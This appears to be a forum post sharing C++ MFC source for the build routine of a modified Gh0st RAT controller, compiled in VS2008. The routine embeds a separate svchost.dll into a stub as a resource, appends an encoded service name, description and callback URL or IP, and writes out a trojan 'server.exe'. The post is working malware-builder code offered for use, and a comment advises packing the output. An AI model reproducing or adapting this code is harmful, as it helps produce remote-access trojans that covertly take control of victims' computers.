vs2008编译通过,分离了exe和dll,代码如下
001 | void CBuildView::OnBuild() |
002 | { |
003 | // TODO: Add your control notification handler code here |
004 | ///获取上线数据 |
005 | UpdateData( true ); |
006 | if (m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty()) ///如果没有填写服务名称和服务描述的话就返回 |
007 | { |
008 | AfxMessageBox( "请完整填写服务显示名称和描述 -:(" ); |
009 | return ; |
010 | } |
011 | CString strAddress; ///用于保存上线数据 |
012 |
013 | // 保存配置 |
014 | ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString( "Build" , "DisplayName" , m_ServiceDisplayName); ///把配置写入ini文件中 |
015 | ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString( "Build" , "Description" , m_ServiceDescription); |
016 | ((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt( "Build" , "enablehttp" , m_enable_http); |
017 | if (m_enable_http) ///如果开启了http上线 |
018 | { |
019 | CString str; |
020 | GetDlgItemText(IDC_URL, str); ///获取上线url |
021 | ((CGh0stApp *)AfxGetApp())->m_IniFile.SetString( "Build" , "httpurl" , str); ///写入ini配置 |
022 | str.MakeLower(); ///转成小写 |
023 | strAddress = MyEncode(str.GetBuffer(0)); ///加密上线url |
024 | } |
025 | else ///ip上线 |
026 | { |
027 | GetDlgItemText(IDC_DNS_STRING, strAddress); ///获取加密后的上线字串 |
028 | if (strAddress.Find( "AAAA" ) == -1) ///如果找不到AAAA,说明上线配置有问题 |
029 | { |
030 | AfxMessageBox( "域名上线字串格式出错 -:(" ); |
031 | return ; |
032 | } |
033 | strAddress.Replace( "AAAA" , "" ); ///替换加密字串的前四个字为AAAA(本来就是AAAA -_-b) |
034 | } |
035 |
036 | CString strServiceConfig; ///存放服务名称 |
037 | ///用|来分割服务名称和服务描述 |
038 | strServiceConfig.Format( "%s|%s" , MyEncode(m_ServiceDisplayName.GetBuffer(0)), |
039 | MyEncode(m_ServiceDescription.GetBuffer(0))); |
040 |
041 | //==============exe和dll分离的代码======================= |
042 | char Path[MAX_PATH]; ///gh0st所在完整路径 |
043 | char ExePath[MAX_PATH]; ///存放install.dat的完整路径 |
044 | char DllPath[MAX_PATH]; ///svchost.dll的完整地址 |
045 | char BakPath[MAX_PATH]; ///中间文件地址 |
046 | char Wrong[MAX_PATH]; ///用于显示exe不存在的错误提示 |
047 | char Wrong1[MAX_PATH]; ///用于显示dll不存在的错误提示 |
048 | GetModuleFileName(NULL, Path, sizeof (Path)); //获取程序自身完整路径名称,即Gh0st.exe的路径 |
049 | PathRemoveFileSpec(Path); ///去除文件名得到文件夹路径,不包括'\' |
050 | ///其实前面的和安全吧做的那个分离教程一样..就是这里之后..重新把DAT里的DLL分离出来了. |
051 | wsprintf(ExePath, "%s%s" ,Path, "\\update\\install.dat" ); |
052 | wsprintf(DllPath, "%s%s" ,Path, "\\update\\svchost.dll" ); |
053 | wsprintf(BakPath, "%s%s" ,Path, "\\update\\Cache.bak" ); |
054 | wsprintf(Wrong, "%s%s%s%s" , "\"" ,ExePath, "\"" , " 文件不存在!" ); |
055 | wsprintf(Wrong1, "%s%s%s%s" , "\"" ,DllPath, "\"" , " 文件不存在!" ); |
056 |
057 | ///复制一份install.dat到cache.bak |
058 | if (!CopyFile(ExePath,BakPath,FALSE)) //找不到install.dat文件 |
059 | { |
060 | MessageBox(Wrong, "提示" ); |
061 | return ; |
062 | } |
063 |
064 | HANDLE hFile; |
065 | hFile = CreateFile(DllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); |
066 | if (hFile == INVALID_HANDLE_VALUE) //找不到svchost.dll文件 |
067 | { |
068 | DeleteFile(BakPath); |
069 | MessageBox(Wrong1, "提示" ); |
070 | return ; |
071 | } |
072 | // |
073 |
074 | ///保存文件对话框 |
075 | CFileDialog dlg(FALSE, "exe" , "server.exe" , OFN_OVERWRITEPROMPT, "可执行文件|*.exe" , NULL); |
076 | if (dlg.DoModal () != IDOK) |
077 | { |
078 | DeleteFile(BakPath); ///如果选择取消的话要删除中间文件 |
079 | return ; |
080 | } |
081 |
082 | //==================code for divition==================== |
083 | DWORD nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile ); ///得到dll文件的大小 |
084 | char *szSrcFileBuf = new char [ nSizeOfSrcFile ]; ///分配内存存放dll文件 |
085 | ReadFile( hFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL); ///把dll文件拷贝到内存 |
086 |
087 | HANDLE hUpdate; |
088 | BOOL ret; |
089 | ///更新cache.bak中的资源,false表示如果存在就不覆盖了,返回资源句柄 |
090 | hUpdate = BeginUpdateResource(BakPath, false ); |
091 | ///插入dll资源,资源类型为BIN,名称为dll |
092 | ret = UpdateResource(hUpdate, "BIN" , "DLL" , 0, szSrcFileBuf, nSizeOfSrcFile); |
093 | /* |
094 | if (!ret) ///如果失败 |
095 | { |
096 | CloseHandle(hFile); ///关闭dll句柄,下面有,这不多余了么。。。网上的代码果然不可靠。。。 |
097 | } |
098 | */ |
099 | CloseHandle(hFile); ///关闭dll句柄 |
100 | EndUpdateResource( hUpdate, false ); |
101 | delete []szSrcFileBuf; ///释放内存 |
102 | ///CloseHandle(hFile); ///又关闭一次?!疯了吧?! |
103 | CopyFile(BakPath,dlg.GetPathName(),FALSE); ///把中间文件cache.bak复制成我们的服务端 |
104 | DeleteFile(BakPath); ///删除中间件 |
105 | / |
106 | |
107 | /* |
108 | //old code to build server.exe |
109 | ///这是原版不分离exe和dll的代码,由客户端分离出服务端 |
110 | HINSTANCE hInstance; |
111 | HRSRC hResInfo; |
112 | DWORD dwResLen; ///服务端资源长度 |
113 | HGLOBAL hResData; ///服务端资源数据 |
114 | LPBYTE lpData; |
115 | hInstance = AfxGetApp()->m_hInstance; ///获取当前实例 |
116 | hResInfo = FindResource(hInstance, (LPCTSTR)IDR_BSS, (LPCTSTR)"BSS"); ///找到服务端资源 |
117 | dwResLen = SizeofResource(hInstance, hResInfo); ///获取服务端长度 |
118 | hResData = LoadResource(hInstance, hResInfo); ///分离出服务端数据 |
119 | lpData = (LPBYTE)LockResource(hResData); ///锁定资源,返回资源首地址指针 |
120 | */ |
121 | |
122 | ///下面开始写入上线数据 |
123 | CFile file; ///文件句柄 |
124 | ///if(file.Open (dlg.GetPathName(), CFile::modeCreate | CFile::modeWrite)) ///新建服务端文件 |
125 | if (file.Open (dlg.GetPathName(), CFile::modeWrite)) ///打开服务端文件 |
126 | { |
127 | try |
128 | { |
129 | ///file.Write(lpData, dwResLen); ///写入服务端数据 |
130 | file.Seek(0,CFile::end); //把文件指针指向文件末尾 |
131 | // 写入6个'C',是服务的名称和描述 |
132 | file.Write( "CCCCCC" , 6); ///用CCCCCC标志数据开始 |
133 | file.Write(strServiceConfig, strServiceConfig.GetLength() + 1); ///写入服务名称和服务描述加密数据 |
134 | // 写入6个'A',安装时查找 |
135 | file.Write( "AAAAAA" , 6); ///写入AAAAAA标志之后为上线数据 |
136 | file.Write(strAddress, strAddress.GetLength() + 1); ///写入加密后的上线数据 |
137 | file.Close(); ///关闭文件 |
138 | ///AfxMessageBox("文件保存成功,请用加壳软件进行压缩 -:)"); |
139 | char ShowText[200]; |
140 | wsprintf(ShowText, "%s%s" , "服务端已生成到:" ,dlg.GetPathName()); ///显示提示信息 |
141 | MessageBox(ShowText, "提示" ,MB_ICONEXCLAMATION | MB_OK); |
142 | } |
143 | catch (...) |
144 | { |
145 | MessageBox( "文件保存失败,请检查" , "提示" ,MB_OK|MB_ICONSTOP); ///出错 |
146 | } |
147 | } |
148 | ///FreeResource(hResData); ///释放资源 |
149 | } |